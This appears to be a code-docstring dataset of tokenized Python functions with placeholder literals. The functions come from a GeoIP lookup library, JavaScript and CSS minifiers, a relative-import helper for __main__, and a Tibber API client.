{"signature": "def _seek_country(self, ipnum):", "body": "try:<EOL><INDENT>offset = <NUM_LIT:0><EOL>seek_depth = <NUM_LIT> if len(str(ipnum)) > <NUM_LIT:10> else <NUM_LIT><EOL>for depth in range(seek_depth, -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>if self._flags & const.MEMORY_CACHE:<EOL><INDENT>startIndex = <NUM_LIT:2> * self._recordLength * offset<EOL>endIndex = startIndex + (<NUM_LIT:2> * self._recordLength)<EOL>buf = self._memory[startIndex:endIndex]<EOL><DEDENT>else:<EOL><INDENT>startIndex = <NUM_LIT:2> * self._recordLength * offset<EOL>readLength = <NUM_LIT:2> * self._recordLength<EOL>try:<EOL><INDENT>self._lock.acquire()<EOL>self._fp.seek(startIndex, os.SEEK_SET)<EOL>buf = self._fp.read(readLength)<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT><DEDENT>if PY3 and type(buf) is bytes:<EOL><INDENT>buf = buf.decode(ENCODING)<EOL><DEDENT>x = [<NUM_LIT:0>, <NUM_LIT:0>]<EOL>for i in range(<NUM_LIT:2>):<EOL><INDENT>for j in range(self._recordLength):<EOL><INDENT>byte = buf[self._recordLength * i + j]<EOL>x[i] += ord(byte) << (j * <NUM_LIT:8>)<EOL><DEDENT><DEDENT>if ipnum & (<NUM_LIT:1> << depth):<EOL><INDENT>if x[<NUM_LIT:1>] >= self._databaseSegments:<EOL><INDENT>self._netmask = seek_depth - depth + <NUM_LIT:1><EOL>return x[<NUM_LIT:1>]<EOL><DEDENT>offset = x[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>if x[<NUM_LIT:0>] >= self._databaseSegments:<EOL><INDENT>self._netmask = seek_depth - depth + <NUM_LIT:1><EOL>return x[<NUM_LIT:0>]<EOL><DEDENT>offset = x[<NUM_LIT:0>]<EOL><DEDENT><DEDENT><DEDENT>except (IndexError, UnicodeDecodeError):<EOL><INDENT>pass<EOL><DEDENT>raise GeoIPError('<STR_LIT>')<EOL>", "docstring": "Using the record length and appropriate start points, seek to the\ncountry that corresponds to the converted IP address integer.\nReturn offset of record.\n\n:arg ipnum: Result of ip2long conversion", "id": "f12580:c2:m2"}
{"signature": "def _get_org(self, ipnum):", "body": "seek_org = self._seek_country(ipnum)<EOL>if seek_org == self._databaseSegments:<EOL><INDENT>return None<EOL><DEDENT>read_length = (<NUM_LIT:2> * self._recordLength - <NUM_LIT:1>) * self._databaseSegments<EOL>try:<EOL><INDENT>self._lock.acquire()<EOL>self._fp.seek(seek_org + read_length, os.SEEK_SET)<EOL>buf = self._fp.read(const.MAX_ORG_RECORD_LENGTH)<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>if PY3 and type(buf) is bytes:<EOL><INDENT>buf = buf.decode(ENCODING)<EOL><DEDENT>return buf[:buf.index(chr(<NUM_LIT:0>))]<EOL>", "docstring": "Seek and return organization or ISP name for ipnum.\nReturn org/isp name.\n\n:arg ipnum: Result of ip2long conversion", "id": "f12580:c2:m3"}
{"signature": "def _get_region(self, ipnum):", "body": "region_code = None<EOL>country_code = None<EOL>seek_country = self._seek_country(ipnum)<EOL>def get_region_code(offset):<EOL><INDENT>region1 = chr(offset // <NUM_LIT> + <NUM_LIT>)<EOL>region2 = chr(offset % <NUM_LIT> + <NUM_LIT>)<EOL>return '<STR_LIT>'.join([region1, region2])<EOL><DEDENT>if self._databaseType == const.REGION_EDITION_REV0:<EOL><INDENT>seek_region = seek_country - const.STATE_BEGIN_REV0<EOL>if seek_region >= <NUM_LIT:1000>:<EOL><INDENT>country_code = '<STR_LIT>'<EOL>region_code = get_region_code(seek_region - <NUM_LIT:1000>)<EOL><DEDENT>else:<EOL><INDENT>country_code = const.COUNTRY_CODES[seek_region]<EOL><DEDENT><DEDENT>elif self._databaseType == const.REGION_EDITION_REV1:<EOL><INDENT>seek_region = seek_country - const.STATE_BEGIN_REV1<EOL>if seek_region < const.US_OFFSET:<EOL><INDENT>pass<EOL><DEDENT>elif seek_region < const.CANADA_OFFSET:<EOL><INDENT>country_code = '<STR_LIT>'<EOL>region_code = get_region_code(seek_region - const.US_OFFSET)<EOL><DEDENT>elif seek_region < const.WORLD_OFFSET:<EOL><INDENT>country_code = '<STR_LIT>'<EOL>region_code = get_region_code(seek_region - const.CANADA_OFFSET)<EOL><DEDENT>else:<EOL><INDENT>index = (seek_region - const.WORLD_OFFSET) // const.FIPS_RANGE<EOL>if index < len(const.COUNTRY_CODES):<EOL><INDENT>country_code = const.COUNTRY_CODES[index]<EOL><DEDENT><DEDENT><DEDENT>elif self._databaseType in const.CITY_EDITIONS:<EOL><INDENT>rec = self._get_record(ipnum)<EOL>region_code = rec.get('<STR_LIT>')<EOL>country_code = rec.get('<STR_LIT>')<EOL><DEDENT>return {'<STR_LIT>': country_code, '<STR_LIT>': region_code}<EOL>", "docstring": "Seek and return the region information.\nReturns dict containing country_code and region_code.\n\n:arg ipnum: Result of ip2long conversion", "id": "f12580:c2:m4"}
{"signature": "def _get_record(self, ipnum):", "body": "seek_country = self._seek_country(ipnum)<EOL>if seek_country == self._databaseSegments:<EOL><INDENT>return {}<EOL><DEDENT>read_length = (<NUM_LIT:2> * self._recordLength - <NUM_LIT:1>) * self._databaseSegments<EOL>try:<EOL><INDENT>self._lock.acquire()<EOL>self._fp.seek(seek_country + read_length, os.SEEK_SET)<EOL>buf = self._fp.read(const.FULL_RECORD_LENGTH)<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>if PY3 and type(buf) is bytes:<EOL><INDENT>buf = buf.decode(ENCODING)<EOL><DEDENT>record = {<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None<EOL>}<EOL>latitude = <NUM_LIT:0><EOL>longitude = <NUM_LIT:0><EOL>char = ord(buf[<NUM_LIT:0>])<EOL>record['<STR_LIT>'] = const.COUNTRY_CODES[char]<EOL>record['<STR_LIT>'] = const.COUNTRY_CODES3[char]<EOL>record['<STR_LIT>'] = const.COUNTRY_NAMES[char]<EOL>record['<STR_LIT>'] = const.CONTINENT_NAMES[char]<EOL>def read_data(buf, pos):<EOL><INDENT>cur = pos<EOL>while buf[cur] != '<STR_LIT>':<EOL><INDENT>cur += <NUM_LIT:1><EOL><DEDENT>return cur, buf[pos:cur] if cur > pos else None<EOL><DEDENT>offset, record['<STR_LIT>'] = read_data(buf, <NUM_LIT:1>)<EOL>offset, record['<STR_LIT>'] = read_data(buf, offset + <NUM_LIT:1>)<EOL>offset, record['<STR_LIT>'] = read_data(buf, offset + <NUM_LIT:1>)<EOL>offset = offset + <NUM_LIT:1><EOL>for j in range(<NUM_LIT:3>):<EOL><INDENT>latitude += (ord(buf[offset + j]) << (j * <NUM_LIT:8>))<EOL><DEDENT>for j in range(<NUM_LIT:3>):<EOL><INDENT>longitude += (ord(buf[offset + j + <NUM_LIT:3>]) << (j * <NUM_LIT:8>))<EOL><DEDENT>record['<STR_LIT>'] = (latitude / <NUM_LIT>) - <NUM_LIT><EOL>record['<STR_LIT>'] = (longitude / <NUM_LIT>) - <NUM_LIT><EOL>if self._databaseType in (const.CITY_EDITION_REV1, const.CITY_EDITION_REV1_V6):<EOL><INDENT>if record['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>dma_area = <NUM_LIT:0><EOL>for j in range(<NUM_LIT:3>):<EOL><INDENT>dma_area += ord(buf[offset + j + <NUM_LIT:6>]) << (j * <NUM_LIT:8>)<EOL><DEDENT>record['<STR_LIT>'] = int(floor(dma_area / <NUM_LIT:1000>))<EOL>record['<STR_LIT>'] = dma_area % <NUM_LIT:1000><EOL>record['<STR_LIT>'] = const.DMA_MAP.get(record['<STR_LIT>'])<EOL><DEDENT><DEDENT>params = (record['<STR_LIT>'], record['<STR_LIT>'])<EOL>record['<STR_LIT>'] = time_zone_by_country_and_region(*params)<EOL>return record<EOL>", "docstring": "Populate location dict for converted IP.\nReturns dict with numerous location properties.\n\n:arg ipnum: Result of ip2long conversion", "id": "f12580:c2:m5"}
{"signature": "def _gethostbyname(self, hostname):", "body": "if self._databaseType in const.IPV6_EDITIONS:<EOL><INDENT>response = socket.getaddrinfo(hostname, <NUM_LIT:0>, socket.AF_INET6)<EOL>family, socktype, proto, canonname, sockaddr = response[<NUM_LIT:0>]<EOL>address, port, flow, scope = sockaddr<EOL>return address<EOL><DEDENT>else:<EOL><INDENT>return socket.gethostbyname(hostname)<EOL><DEDENT>", "docstring": "Hostname lookup method, supports both IPv4 and IPv6.", "id": "f12580:c2:m6"}
{"signature": "def id_by_name(self, hostname):", "body": "addr = self._gethostbyname(hostname)<EOL>return self.id_by_addr(addr)<EOL>", "docstring": "Returns the database ID for specified hostname.\nThe id might be useful as array index. 0 is unknown.\n\n:arg hostname: Hostname to get ID from.", "id": "f12580:c2:m7"}
{"signature": "def id_by_addr(self, addr):", "body": "if self._databaseType in (const.PROXY_EDITION, const.NETSPEED_EDITION_REV1, const.NETSPEED_EDITION_REV1_V6):<EOL><INDENT>raise GeoIPError('<STR_LIT>')<EOL><DEDENT>ipv = <NUM_LIT:6> if addr.find('<STR_LIT::>') >= <NUM_LIT:0> else <NUM_LIT:4><EOL>if ipv == <NUM_LIT:4> and self._databaseType not in (const.COUNTRY_EDITION, const.NETSPEED_EDITION):<EOL><INDENT>raise GeoIPError('<STR_LIT>')<EOL><DEDENT>if ipv == <NUM_LIT:6> and self._databaseType != const.COUNTRY_EDITION_V6:<EOL><INDENT>raise GeoIPError('<STR_LIT>')<EOL><DEDENT>ipnum = util.ip2long(addr)<EOL>return self._seek_country(ipnum) - const.COUNTRY_BEGIN<EOL>", "docstring": "Returns the database ID for specified address.\nThe ID might be useful as array index. 0 is unknown.\n\n:arg addr: IPv4 or IPv6 address (eg. 203.0.113.30)", "id": "f12580:c2:m8"}
{"signature": "def last_netmask(self):", "body": "return self._netmask<EOL>", "docstring": "Returns the netmask depth of the last lookup.", "id": "f12580:c2:m9"}
{"signature": "def country_code_by_addr(self, addr):", "body": "VALID_EDITIONS = (const.COUNTRY_EDITION, const.COUNTRY_EDITION_V6)<EOL>if self._databaseType in VALID_EDITIONS:<EOL><INDENT>country_id = self.id_by_addr(addr)<EOL>return const.COUNTRY_CODES[country_id]<EOL><DEDENT>elif self._databaseType in const.REGION_CITY_EDITIONS:<EOL><INDENT>return self.region_by_addr(addr).get('<STR_LIT>')<EOL><DEDENT>raise GeoIPError('<STR_LIT>')<EOL>", "docstring": "Returns 2-letter country code (e.g. US) from IP address.\n\n:arg addr: IP address (e.g. 203.0.113.30)", "id": "f12580:c2:m10"}
{"signature": "def country_code_by_name(self, hostname):", "body": "addr = self._gethostbyname(hostname)<EOL>return self.country_code_by_addr(addr)<EOL>", "docstring": "Returns 2-letter country code (e.g. US) from hostname.\n\n:arg hostname: Hostname (e.g. example.com)", "id": "f12580:c2:m11"}
{"signature": "def netspeed_by_addr(self, addr):", "body": "if self._databaseType == const.NETSPEED_EDITION:<EOL><INDENT>return const.NETSPEED_NAMES[self.id_by_addr(addr)]<EOL><DEDENT>elif self._databaseType in (const.NETSPEED_EDITION_REV1,<EOL>const.NETSPEED_EDITION_REV1_V6):<EOL><INDENT>ipnum = util.ip2long(addr)<EOL>return self._get_org(ipnum)<EOL><DEDENT>raise GeoIPError(<EOL>'<STR_LIT>')<EOL>", "docstring": "Returns NetSpeed name from address.\n\n:arg addr: IP address (e.g. 203.0.113.30)", "id": "f12580:c2:m12"}
{"signature": "def netspeed_by_name(self, hostname):", "body": "addr = self._gethostbyname(hostname)<EOL>return self.netspeed_by_addr(addr)<EOL>", "docstring": "Returns NetSpeed name from hostname. Can be Unknown, Dial-up,\nCable, or Corporate.\n\n:arg hostname: Hostname (e.g. example.com)", "id": "f12580:c2:m13"}
{"signature": "def country_name_by_addr(self, addr):", "body": "VALID_EDITIONS = (const.COUNTRY_EDITION, const.COUNTRY_EDITION_V6)<EOL>if self._databaseType in VALID_EDITIONS:<EOL><INDENT>country_id = self.id_by_addr(addr)<EOL>return const.COUNTRY_NAMES[country_id]<EOL><DEDENT>elif self._databaseType in const.CITY_EDITIONS:<EOL><INDENT>return self.record_by_addr(addr).get('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>message = '<STR_LIT>'<EOL>raise GeoIPError(message)<EOL><DEDENT>", "docstring": "Returns full country name for specified IP address.\n\n:arg addr: IP address (e.g. 203.0.113.30)", "id": "f12580:c2:m14"}
{"signature": "def country_name_by_name(self, hostname):", "body": "addr = self._gethostbyname(hostname)<EOL>return self.country_name_by_addr(addr)<EOL>", "docstring": "Returns full country name for specified hostname.\n\n:arg hostname: Hostname (e.g. example.com)", "id": "f12580:c2:m15"}
{"signature": "def org_by_addr(self, addr):", "body": "valid = (const.ORG_EDITION, const.ISP_EDITION,<EOL>const.ASNUM_EDITION, const.ASNUM_EDITION_V6)<EOL>if self._databaseType not in valid:<EOL><INDENT>message = '<STR_LIT>'<EOL>raise GeoIPError(message)<EOL><DEDENT>ipnum = util.ip2long(addr)<EOL>return self._get_org(ipnum)<EOL>", "docstring": "Returns Organization, ISP, or ASNum name for given IP address.\n\n:arg addr: IP address (e.g. 203.0.113.30)", "id": "f12580:c2:m16"}
{"signature": "def org_by_name(self, hostname):", "body": "addr = self._gethostbyname(hostname)<EOL>return self.org_by_addr(addr)<EOL>", "docstring": "Returns Organization, ISP, or ASNum name for given hostname.\n\n:arg hostname: Hostname (e.g. example.com)", "id": "f12580:c2:m17"}
{"signature": "def record_by_addr(self, addr):", "body": "if self._databaseType not in const.CITY_EDITIONS:<EOL><INDENT>message = '<STR_LIT>'<EOL>raise GeoIPError(message)<EOL><DEDENT>ipnum = util.ip2long(addr)<EOL>rec = self._get_record(ipnum)<EOL>if not rec:<EOL><INDENT>return None<EOL><DEDENT>return rec<EOL>", "docstring": "Returns dictionary with city data containing `country_code`, `country_name`,\n`region`, `city`, `postal_code`, `latitude`, `longitude`, `dma_code`,\n`metro_code`, `area_code`, `region_code` and `time_zone`.\n\n:arg addr: IP address (e.g. 203.0.113.30)", "id": "f12580:c2:m18"}
{"signature": "def record_by_name(self, hostname):", "body": "addr = self._gethostbyname(hostname)<EOL>return self.record_by_addr(addr)<EOL>", "docstring": "Returns dictionary with city data containing `country_code`, `country_name`,\n`region`, `city`, `postal_code`, `latitude`, `longitude`, `dma_code`,\n`metro_code`, `area_code`, `region_code` and `time_zone`.\n\n:arg hostname: Hostname (e.g. example.com)", "id": "f12580:c2:m19"}
{"signature": "def region_by_addr(self, addr):", "body": "if self._databaseType not in const.REGION_CITY_EDITIONS:<EOL><INDENT>message = '<STR_LIT>'<EOL>raise GeoIPError(message)<EOL><DEDENT>ipnum = util.ip2long(addr)<EOL>return self._get_region(ipnum)<EOL>", "docstring": "Returns dictionary containing `country_code` and `region_code`.\n\n:arg addr: IP address (e.g. 203.0.113.30)", "id": "f12580:c2:m20"}
{"signature": "def region_by_name(self, hostname):", "body": "addr = self._gethostbyname(hostname)<EOL>return self.region_by_addr(addr)<EOL>", "docstring": "Returns dictionary containing `country_code` and `region_code`.\n\n:arg hostname: Hostname (e.g. example.com)", "id": "f12580:c2:m21"}
{"signature": "def time_zone_by_addr(self, addr):", "body": "if self._databaseType not in const.CITY_EDITIONS:<EOL><INDENT>message = '<STR_LIT>'<EOL>raise GeoIPError(message)<EOL><DEDENT>ipnum = util.ip2long(addr)<EOL>return self._get_record(ipnum).get('<STR_LIT>')<EOL>", "docstring": "Returns time zone in tzdata format (e.g. America/New_York or Europe/Paris)\n\n:arg addr: IP address (e.g. 203.0.113.30)", "id": "f12580:c2:m22"}
{"signature": "def time_zone_by_name(self, hostname):", "body": "addr = self._gethostbyname(hostname)<EOL>return self.time_zone_by_addr(addr)<EOL>", "docstring": "Returns time zone in tzdata format (e.g. America/New_York or Europe/Paris)\n\n:arg hostname: Hostname (e.g. example.com)", "id": "f12580:c2:m23"}
{"signature": "def isAlphanum(c):", "body": "return ((c >= '<STR_LIT:a>' and c <= '<STR_LIT:z>') or (c >= '<STR_LIT:0>' and c <= '<STR_LIT>') or<EOL>(c >= '<STR_LIT:A>' and c <= '<STR_LIT>') or c == '<STR_LIT:_>' or c == '<STR_LIT:$>' or c == '<STR_LIT:\\\\>' or (c is not None and ord(c) > <NUM_LIT>))<EOL>", "docstring": "return true if the character is a letter, digit, underscore,\n           dollar sign, or non-ASCII character.", "id": "f12583:m1"}
{"signature": "def _get(self):", "body": "c = self.theLookahead<EOL>self.theLookahead = None<EOL>if c == None:<EOL><INDENT>c = self.instream.read(<NUM_LIT:1>)<EOL><DEDENT>if c >= '<STR_LIT:U+0020>' or c == '<STR_LIT:\\n>':<EOL><INDENT>return c<EOL><DEDENT>if c == '<STR_LIT>': <EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if c == '<STR_LIT:\\r>':<EOL><INDENT>return '<STR_LIT:\\n>'<EOL><DEDENT>return '<STR_LIT:U+0020>'<EOL>", "docstring": "return the next character from stdin. Watch out for lookahead. If\n           the character is a control character, translate it to a space or\n           linefeed.", "id": "f12583:c3:m2"}
{"signature": "def _next(self):", "body": "c = self._get()<EOL>if c == '<STR_LIT:/>' and self.theA != '<STR_LIT:\\\\>':<EOL><INDENT>p = self._peek()<EOL>if p == '<STR_LIT:/>':<EOL><INDENT>c = self._get()<EOL>while c > '<STR_LIT:\\n>':<EOL><INDENT>c = self._get()<EOL><DEDENT>return c<EOL><DEDENT>if p == '<STR_LIT:*>':<EOL><INDENT>c = self._get()<EOL>while <NUM_LIT:1>:<EOL><INDENT>c = self._get()<EOL>if c == '<STR_LIT:*>':<EOL><INDENT>if self._peek() == '<STR_LIT:/>':<EOL><INDENT>self._get()<EOL>return '<STR_LIT:U+0020>'<EOL><DEDENT><DEDENT>if c == '<STR_LIT>':<EOL><INDENT>raise UnterminatedComment()<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return c<EOL>", "docstring": "get the next character, excluding comments. peek() is used to see\n           if an unescaped '/' is followed by a '/' or '*'.", "id": "f12583:c3:m4"}
{"signature": "def _action(self, action):", "body": "if action <= <NUM_LIT:1>:<EOL><INDENT>self._outA()<EOL><DEDENT>if action <= <NUM_LIT:2>:<EOL><INDENT>self.theA = self.theB<EOL>if self.theA == \"<STR_LIT:'>\" or self.theA == '<STR_LIT:\">':<EOL><INDENT>while <NUM_LIT:1>:<EOL><INDENT>self._outA()<EOL>self.theA = self._get()<EOL>if self.theA == self.theB:<EOL><INDENT>break<EOL><DEDENT>if self.theA <= '<STR_LIT:\\n>':<EOL><INDENT>raise UnterminatedStringLiteral()<EOL><DEDENT>if self.theA == '<STR_LIT:\\\\>':<EOL><INDENT>self._outA()<EOL>self.theA = self._get()<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if action <= <NUM_LIT:3>:<EOL><INDENT>self.theB = self._next()<EOL>if self.theB == '<STR_LIT:/>' and (self.theA == '<STR_LIT:(>' or self.theA == '<STR_LIT:U+002C>' or<EOL>self.theA == '<STR_LIT:=>' or self.theA == '<STR_LIT::>' or<EOL>self.theA == '<STR_LIT:[>' or self.theA == '<STR_LIT:?>' or<EOL>self.theA == '<STR_LIT:!>' or self.theA == '<STR_LIT:&>' or<EOL>self.theA == '<STR_LIT:|>' or self.theA == '<STR_LIT:;>' or<EOL>self.theA == '<STR_LIT:{>' or self.theA == '<STR_LIT:}>' or<EOL>self.theA == '<STR_LIT:\\n>'):<EOL><INDENT>self._outA()<EOL>self._outB()<EOL>while <NUM_LIT:1>:<EOL><INDENT>self.theA = self._get()<EOL>if self.theA == '<STR_LIT:/>':<EOL><INDENT>break<EOL><DEDENT>elif self.theA == '<STR_LIT:\\\\>':<EOL><INDENT>self._outA()<EOL>self.theA = self._get()<EOL><DEDENT>elif self.theA <= '<STR_LIT:\\n>':<EOL><INDENT>raise UnterminatedRegularExpression()<EOL><DEDENT>self._outA()<EOL><DEDENT>self.theB = self._next()<EOL><DEDENT><DEDENT>", "docstring": "do something! What you do is determined by the argument:\n           1   Output A. Copy B to A. Get the next B.\n           2   Copy B to A. Get the next B. (Delete A).\n           3   Get the next B. (Delete B).\n           action treats a string as a single character. Wow!\n           action recognizes a regular expression if it is preceded by ( or , or =.", "id": "f12583:c3:m5"}
{"signature": "def _jsmin(self):", "body": "self.theA = '<STR_LIT:\\n>'<EOL>self._action(<NUM_LIT:3>)<EOL>while self.theA != '<STR_LIT>':<EOL><INDENT>if self.theA == '<STR_LIT:U+0020>':<EOL><INDENT>if isAlphanum(self.theB):<EOL><INDENT>self._action(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>self._action(<NUM_LIT:2>)<EOL><DEDENT><DEDENT>elif self.theA == '<STR_LIT:\\n>':<EOL><INDENT>if self.theB in ['<STR_LIT:{>', '<STR_LIT:[>', '<STR_LIT:(>', '<STR_LIT:+>', '<STR_LIT:->']:<EOL><INDENT>self._action(<NUM_LIT:1>)<EOL><DEDENT>elif self.theB == '<STR_LIT:U+0020>':<EOL><INDENT>self._action(<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>if isAlphanum(self.theB):<EOL><INDENT>self._action(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>self._action(<NUM_LIT:2>)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if self.theB == '<STR_LIT:U+0020>':<EOL><INDENT>if isAlphanum(self.theA):<EOL><INDENT>self._action(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>self._action(<NUM_LIT:3>)<EOL><DEDENT><DEDENT>elif self.theB == '<STR_LIT:\\n>':<EOL><INDENT>if self.theA in ['<STR_LIT:}>', '<STR_LIT:]>', '<STR_LIT:)>', '<STR_LIT:+>', '<STR_LIT:->', '<STR_LIT:\">', '<STR_LIT>']:<EOL><INDENT>self._action(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>if isAlphanum(self.theA):<EOL><INDENT>self._action(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>self._action(<NUM_LIT:3>)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self._action(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Copy the input to the output, deleting the characters which are\n           insignificant to JavaScript. Comments will be removed. Tabs will be\n           replaced with spaces. Carriage returns will be replaced with linefeeds.\n           Most spaces and linefeeds will be removed.", "id": "f12583:c3:m6"}
{"signature": "def minimalize(css, level=NORMAL):", "body": "return CssMinifier(level).minify(css)<EOL>", "docstring": "Compress css using level method and return new css as a string.", "id": "f12584:m0"}
{"signature": "def minify(self, css):", "body": "css = css.replace(\"<STR_LIT:\\r\\n>\", \"<STR_LIT:\\n>\") <EOL>for rule in _REPLACERS[self.level]:<EOL><INDENT>css = re.compile(rule[<NUM_LIT:0>], re.MULTILINE|re.UNICODE|re.DOTALL).sub(rule[<NUM_LIT:1>], css)<EOL><DEDENT>return css<EOL>", "docstring": "Tries to minimize the length of CSS code passed as parameter. Returns string.", "id": "f12584:c0:m1"}
{"signature": "def _get_search_path(main_file_dir, sys_path):", "body": "<EOL>paths = []<EOL>for pth in sys_path:<EOL><INDENT>pth = path.abspath(pth)<EOL>if (pth != main_file_dir<EOL>and pth == path.commonprefix((pth, main_file_dir))):<EOL><INDENT>paths.append(pth)<EOL><DEDENT><DEDENT>if paths:<EOL><INDENT>paths.sort()<EOL>return paths[-<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "Find the parent python path that contains the __main__'s file directory\n\n:param main_file_dir: __main__'s file directory\n:param sys_path: paths list to match directory against (like sys.path)", "id": "f12604:m0"}
{"signature": "def _print_exc(e):", "body": "msg = ('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>_log_error(msg % e)<EOL>", "docstring": "Log exception as error.\n:param e: exception to be logged.", "id": "f12604:m1"}
{"signature": "def _try_search_paths(main_globals):", "body": "<EOL>fl = main_globals['<STR_LIT>']<EOL>search_path = None<EOL>if not path.isabs(fl) and os.getenv('<STR_LIT>'):<EOL><INDENT>cwd_fl = path.abspath(path.join(os.getenv('<STR_LIT>'), fl))<EOL>main_dir = path.dirname(cwd_fl)<EOL>search_path = _get_search_path(main_dir, sys.path)<EOL><DEDENT>if not search_path:<EOL><INDENT>main_dir = path.dirname(path.abspath(fl))<EOL>search_path = _get_search_path(main_dir, sys.path)<EOL><DEDENT>if not search_path:<EOL><INDENT>main_dir = path.dirname(path.realpath(fl))<EOL>sys_path = [path.realpath(p) for p in sys.path]<EOL>search_path = _get_search_path(main_dir, sys_path)<EOL><DEDENT>return main_dir, search_path<EOL>", "docstring": "Try different strategies to found the path containing the __main__'s file.\nWill try strategies, in the following order:\n    1. Building file's path with PWD env var.\n    2. Building file's path from absolute file's path.\n    3. Buidling file's path from real file's path.\n\n:param main_globals: globals dictionary in __main__", "id": "f12604:m2"}
{"signature": "def _solve_pkg(main_globals):", "body": "<EOL>main_dir, search_path = _try_search_paths(main_globals)<EOL>if not search_path:<EOL><INDENT>_log_debug('<STR_LIT>' % main_dir)<EOL>return<EOL><DEDENT>pkg_str = path.relpath(main_dir, search_path).replace(path.sep, '<STR_LIT:.>')<EOL>site_pkgs = '<STR_LIT>'<EOL>if pkg_str.startswith(site_pkgs):<EOL><INDENT>pkg_str = pkg_str[len(site_pkgs):]<EOL><DEDENT>assert pkg_str<EOL>_log_debug('<STR_LIT>' % pkg_str)<EOL>try:<EOL><INDENT>if '<STR_LIT>' in main_globals['<STR_LIT>']:<EOL><INDENT>_log_debug('<STR_LIT>')<EOL>sys.modules[pkg_str] = sys.modules['<STR_LIT:__main__>']<EOL>sys.modules[pkg_str].__path__ = [main_dir]<EOL>parent_pkg_str = '<STR_LIT:.>'.join(pkg_str.split('<STR_LIT:.>')[:-<NUM_LIT:1>])<EOL>if parent_pkg_str:<EOL><INDENT>importlib.import_module(parent_pkg_str)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>_log_debug('<STR_LIT>' % pkg_str)<EOL>importlib.import_module(pkg_str)<EOL><DEDENT>main_globals['<STR_LIT>'] = pkg_str<EOL>return pkg_str<EOL><DEDENT>except ImportError as e:<EOL><INDENT>_print_exc(e)<EOL><DEDENT>", "docstring": "Find parent python path of __main__. From there solve the package\ncontaining __main__, import it and set __package__ variable.\n\n:param main_globals: globals dictionary in __main__", "id": "f12604:m3"}
{"signature": "def _log(msg):", "body": "sys.stderr.write(msg + '<STR_LIT:\\n>')<EOL>sys.stderr.flush()<EOL>", "docstring": "Central log function (all levels)\n:param msg: message to log", "id": "f12604:m4"}
{"signature": "def _log_debug(msg):", "body": "if _log_level <= DEBUG:<EOL><INDENT>if _log_level == TRACE:<EOL><INDENT>traceback.print_stack()<EOL><DEDENT>_log(msg)<EOL><DEDENT>", "docstring": "Log at debug level\n:param msg: message to log", "id": "f12604:m5"}
{"signature": "def _log_error(msg):", "body": "if _log_level <= ERROR:<EOL><INDENT>_log(msg)<EOL><DEDENT>", "docstring": "Log at error level\n:param msg: message to log", "id": "f12604:m6"}
{"signature": "def init(log_level=ERROR):", "body": "global _initialized<EOL>if _initialized:<EOL><INDENT>return<EOL><DEDENT>else:<EOL><INDENT>_initialized = True<EOL><DEDENT>frame = currentframe()<EOL>frame = frame.f_back<EOL>_init(frame, log_level)<EOL>", "docstring": "Enables explicit relative import in sub-modules when ran as __main__\n:param log_level: module's inner logger level (equivalent to logging pkg)", "id": "f12604:m7"}
{"signature": "def _init(frame, log_level=ERROR):", "body": "global _log_level<EOL>_log_level = log_level<EOL>main_globals = frame.f_globals<EOL>pkg = main_globals.get('<STR_LIT>')<EOL>file_ = main_globals.get('<STR_LIT>')<EOL>if pkg or not file_:<EOL><INDENT>_log_debug('<STR_LIT>'<EOL>'<STR_LIT>' % (pkg, file_))<EOL>return<EOL><DEDENT>try:<EOL><INDENT>_solve_pkg(main_globals)<EOL><DEDENT>except Exception as e:<EOL><INDENT>_print_exc(e)<EOL><DEDENT>", "docstring": "Enables explicit relative import in sub-modules when ran as __main__\n:param log_level: module's inner logger level (equivalent to logging pkg)", "id": "f12604:m9"}
{"signature": "def __init__(<EOL>self, access_token=DEMO_TOKEN, timeout=DEFAULT_TIMEOUT, websession=None<EOL>):", "body": "if websession is None:<EOL><INDENT>async def _create_session():<EOL><INDENT>return aiohttp.ClientSession()<EOL><DEDENT>loop = asyncio.get_event_loop()<EOL>self.websession = loop.run_until_complete(_create_session())<EOL><DEDENT>else:<EOL><INDENT>self.websession = websession<EOL><DEDENT>self._timeout = timeout<EOL>self._access_token = access_token<EOL>self._name = None<EOL>self._home_ids = []<EOL>self._all_home_ids = []<EOL>self._homes = {}<EOL>self.sub_manager = None<EOL>", "docstring": "Initialize the Tibber connection.", "id": "f12605:c0:m0"}
{"signature": "async def close_connection(self):", "body": "await self.websession.close()<EOL>", "docstring": "Close the Tibber connection.", "id": "f12605:c0:m1"}
{"signature": "def sync_close_connection(self):", "body": "loop = asyncio.get_event_loop()<EOL>task = loop.create_task(self.close_connection())<EOL>loop.run_until_complete(task)<EOL>", "docstring": "Close the Tibber connection.", "id": "f12605:c0:m2"}
{"signature": "async def rt_connect(self, loop):", "body": "if self.sub_manager is not None:<EOL><INDENT>return<EOL><DEDENT>self.sub_manager = SubscriptionManager(<EOL>loop, \"<STR_LIT>\".format(self._access_token), SUB_ENDPOINT<EOL>)<EOL>self.sub_manager.start()<EOL>", "docstring": "Start subscription manager for real time data.", "id": "f12605:c0:m3"}
